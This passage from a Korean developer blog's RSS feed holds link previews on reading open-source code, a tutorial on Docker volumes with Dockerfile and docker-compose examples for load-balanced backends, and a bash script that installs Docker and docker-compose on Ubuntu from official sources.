&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/eZ648/hyWrLdjQwS/ugqqgcpP0hVtQgFhM2uwx0/img.jpg?width=585&amp;amp;height=408&amp;amp;face=0_0_585_408,https://scrap.kakaocdn.net/dn/KqaH8/hyWoD2gDFY/r3YKgdi4EpicGzMtDKcnCk/img.jpg?width=585&amp;amp;height=408&amp;amp;face=0_0_585_408,https://scrap.kakaocdn.net/dn/9L1eZ/hyWoAxKHjF/rMKfgJ3mguM7En8NrUI0K1/img.png?width=600&amp;amp;height=434&amp;amp;face=0_0_600_434');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;오픈소스: 코드 분석 어떻게 하나? | Popit&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Hadoop이나 HBase 등과 같은 솔루션은 문서도 부족하지만 문서로만 설명할 수 없는 복잡한 내용으로 구성되어 있는 솔루션이 많습니다. 따라서 제대로 솔루션을 사용하거나 운영하기 위해서는 소&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.popit.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@qksud14/jrdev-02&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://velog.io/@qksud14/jrdev-02&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719299010443&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;스타트업 신입 개발일지(02 : 소스 코드 분석하기)&quot; data-og-description=&quot;제대로된 코드를 만들기 위해서는 제대로된 코드를 많이 읽어보면 된다.기존에 사용하는 라이브러리나 플러그인의 코드를 읽어라인상깊었던 소프트웨어 코드를 읽어라존경하는 사람이 만든 &quot; data-og-host=&quot;velog.io&quot; data-og-source-url=&quot;https://velog.io/@qksud14/jrdev-02&quot; data-og-url=&quot;https://velog.io/@qksud14/jrdev-02&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/epp5IP/hyWoOvYA7j/AXLZIBKg2hxoWTWfEjartk/img.png?width=1280&amp;amp;height=703&amp;amp;face=0_0_1280_703,https://scrap.kakaocdn.net/dn/7d0nZ/hyWrSDwhbo/hUQQ9PvqjA360Gw5KkD0RK/img.png?width=1280&amp;amp;height=703&amp;amp;face=0_0_1280_703,https://scrap.kakaocdn.net/dn/IbfYw/hyWrTh76T8/u3WT8bBcI5Xhm0mBKcOZ80/img.jpg?width=1250&amp;amp;height=1051&amp;amp;face=0_0_1250_1051&quot;&gt;&lt;a href=&quot;https://velog.io/@qksud14/jrdev-02&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://velog.io/@qksud14/jrdev-02&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/epp5IP/hyWoOvYA7j/AXLZIBKg2hxoWTWfEjartk/img.png?width=1280&amp;amp;height=703&amp;amp;face=0_0_1280_703,https://scrap.kakaocdn.net/dn/7d0nZ/hyWrSDwhbo/hUQQ9PvqjA360Gw5KkD0RK/img.png?width=1280&amp;amp;height=703&amp;amp;face=0_0_1280_703,https://scrap.kakaocdn.net/dn/IbfYw/hyWrTh76T8/u3WT8bBcI5Xhm0mBKcOZ80/img.jpg?width=1250&amp;amp;height=1051&amp;amp;face=0_0_1250_1051');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;스타트업 신입 개발일지(02 : 소스 코드 분석하기)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제대로된 코드를 만들기 위해서는 제대로된 코드를 많이 읽어보면 된다.기존에 사용하는 라이브러리나 플러그인의 코드를 읽어라인상깊었던 소프트웨어 코드를 읽어라존경하는 사람이 만든&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;velog.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>클라우드\서버</category>
      <category>깃허브소스코드분석</category>
      <category>소스코드분석</category>
      <category>오픈소스분석</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/350</guid>
      <comments>https://timmer.tistory.com/350#entry350comment</comments>
      <pubDate>Tue, 25 Jun 2024 16:12:59 +0900</pubDate>
    </item>
    <item>
      <title>Docker Volume 적용 및 docker-compose 적용하는법. Docker volume이란? 왜 쓸까?</title>
      <link>https://timmer.tistory.com/349</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;개인적으로 사용했던 이유&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사에서 업무를 맡으면서 주로 도커와 클라우드 스토리지 (S3) 를 사용하는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 리눅스 서버 내 로컬 스토리지를 사용하는 일이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 때 서버 내 nginx 를 사용하여 백엔드 load balancer를 사용하여 같은 파일을 공유해야하는 문제가 발생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(load balancer로 백엔드를 여러개 구성하면, 각각의 개인 저장 파일을 참조하기 때문에 문제가 발생함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 각각의 backend 를 공용 volume에 마운트하여 로컬 스토리지를 같이 공유하여 해결함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;도커 Volume이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커를 사용하여 앱을 실행하여 어떤 이미지나 파일을 저장한다고 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 사용하지 않는다고 그 앱(도커 이미지)을 지워버리면, 내부에 저장되어있는 이미지 혹은 파일도 다 날아간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 그 앱을 Volume에 마운트하여 사용하면, 그 Volume을 지워버리지 않는 이상 파일이 보존된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 파일들을 날라가지 않게 저장해주는 도커 전용 스토리지라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Docker 파일 Volume 사용하여 작성하는법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 Docker-compose 파일을 사용하지 않는다면 Dockerfile은 변경할게 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 Docker compose를 사용하지 않고 Docker만 사용하여 Volume을 마운트한다면?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 하면 됨. (파이썬 기본 예시로 듬)&lt;/p&gt;
&lt;pre id=&quot;code_1718684714255&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FROM python:3.7.13-slim

WORKDIR /backend
COPY requirements.txt /backend/requirements.txt

RUN apt-get update &amp;amp;&amp;amp; apt-get install ffmpeg libsm6 libxext6 -y
RUN pip install --upgrade pip &amp;amp;&amp;amp; \
    pip install --no-cache-dir -r requirements.txt

COPY . .

# 여기다 volume 지정. 단순히 /backend는 그냥 volume 이름임
VOLUME [&quot;/backend&quot;]

EXPOSE 5000
CMD [&quot;flask&quot;, &quot;run&quot;, &quot;--host=0.0.0.0&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Docker compose 파일 Volume 사용하여 작성하는법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업무로 인해 로드밸런서 쓰고 공용으로 Volume을 마운트했다.&lt;/p&gt;
&lt;pre id=&quot;code_1718685060058&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: '3'

services:
  frontend:
    build: ./frontend
    ports:
      - &quot;3000:80&quot;
    environment:
      REACT_BACKEND_URL: http://localhost:80/api
    depends_on:
      - backend1
      - backend2
      # - backend3
      # - backend4
      # - backend5
      # - backend6
      # - backend7
      # - backend8
      # - backend9
      # - backend10
    networks:
      - my-network
# 공용 volume 이름 mount
  backend1:
    build: ./backend
    volumes:
      - shared-backend-data:/backend
    ports:
      - &quot;5001:5000&quot;
    networks:
      - my-network

  backend2:
    build: ./backend
    volumes:
      - shared-backend-data:/backend
    ports:
      - &quot;5002:5000&quot;
    networks:
      - my-network

  # Uncomment and repeat for backend3 to backend10
  # backend3:
  #   build: ./backend
  #   volumes:
  #     - shared-backend-data:/backend
  #   ports:
  #     - &quot;5003:5000&quot;
  #   networks:
  #     - my-network

  nginx:
    build:
      context: ./nginx
    ports:
      - &quot;80:80&quot;
    networks:
      - my-network
    environment:
      - REACT_FRONTEND_URL=http://frontend:80
      - REACT_BACKEND_URL=http://backend:5000
    depends_on:
      - frontend
      - backend1
      - backend2
      # - backend3
      # - backend4
      # - backend5
      # - backend6
      # - backend7
      # - backend8
      # - backend9
      # - backend10

networks:
  my-network:
    external: true
# 여기 하단에 mount할 volume 명시
volumes:
  shared-backend-data:&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 개별로 volume을 지정하여 쓸 것이라면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각 이름을 지정하고 하단에 각 이름을 다 명시하자&lt;/p&gt;
&lt;pre id=&quot;code_1718685018741&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: '3'

services:
  frontend:
    build: ./frontend
    ports:
      - &quot;3000:80&quot;
    environment:
      REACT_BACKEND_URL: http://localhost:80/api
    depends_on:
      - backend1
      - backend2
      # - backend3
      # - backend4
      # - backend5
      # - backend6
      # - backend7
      # - backend8
      # - backend9
      # - backend10
    networks:
      - my-network

# 아래 /app 을 본인의 Dockerfile WORKDIR 이름으로 변경!
  backend1:
    build: ./backend
    volumes:
      - backend1-data:/app
    ports:
      - &quot;5001:5000&quot;
    networks:
      - my-network

  backend2:
    build: ./backend
    volumes:
      - backend2-data:/app
    ports:
      - &quot;5002:5000&quot;
    networks:
      - my-network

  # Uncomment and repeat for backend3 to backend10
  # backend3:
  #   build: ./backend
  #   volumes:
  #     - backend3-data:/app
  #   ports:
  #     - &quot;5003:5000&quot;
  #   networks:
  #     - my-network

  nginx:
    build:
      context: ./nginx
    ports:
      - &quot;80:80&quot;
    networks:
      - my-network
    environment:
      - REACT_FRONTEND_URL=http://frontend:80
      - REACT_BACKEND_URL=http://backend:5000
    depends_on:
      - frontend
      - backend1
      - backend2
      # - backend3

networks:
  my-network:
    external: true

# 여기다 각각 volume 명시
volumes:
  backend1-data:
  backend2-data:&lt;/code&gt;&lt;/pre&gt;</description>
      <category>클라우드\서버</category>
      <category>도커</category>
      <category>도커volume</category>
      <category>도커볼륨</category>
      <category>도커컴포즈</category>
      <category>도커컴포즈 volume</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/349</guid>
      <comments>https://timmer.tistory.com/349#entry349comment</comments>
      <pubDate>Tue, 18 Jun 2024 13:31:36 +0900</pubDate>
    </item>
    <item>
      <title>docker 우분투에 sh 로 한번에 설치하기 (docker, docker-compose) 포함</title>
      <link>https://timmer.tistory.com/348</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;도커, 도커 컴포즈 한번에 설치하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 파일 다운받고 아래의 순서대로 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span&gt;chmod&lt;/span&gt; +x install_docker_and_compose.sh&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. ./install_docker_and_compose.sh &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/tMiHH/btsHP3VfqpJ/IKgYjhnI38oh0KVYsnz4pK/install_docker_and_compose.sh?attach=1&amp;amp;knm=tfile.sh&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;install_docker_and_compose.sh&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sh 파일은 이렇게 생김.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경우에 따라 커스터마이즈 해서 쓰면 될듯?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1717717753796&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash

# 1. 우분투 시스템 패키지 업데이트
sudo apt-get update

# 2. 필요한 패키지 설치
sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common

# 3. Docker의 공식 GPG키를 추가
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

# 4. Docker의 공식 apt 저장소를 추가
sudo add-apt-repository &quot;deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&quot;

# 5. 시스템 패키지 업데이트
sudo apt-get update

# 6. Docker 설치
sudo apt-get install -y docker-ce docker-ce-cli containerd.io

# 7. 도커 컴포즈 설치
sudo curl -L &quot;https://github.com/docker/compose/releases/download/1.28.2/docker-compose-$(uname -s)-$(uname -m)&quot; -o /usr/local/bin/docker-compose

# 8. 권한 부여
sudo chmod +x /usr/local/bin/docker-compose

# 9. 심볼릭 링크 설정
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

# 10. Docker Compose 버전 확인 (잘 나오면 설치 성공)
docker-compose --version&lt;/code&gt;&lt;/pre&gt;</description>
      <category>클라우드\서버</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/348</guid>
      <comments>https://timmer.tistory.com/348#entry348comment</comments>
      <pubDate>Fri, 7 Jun 2024 08:49:27 +0900</pubDate>
    </item>
  </channel>
</rss>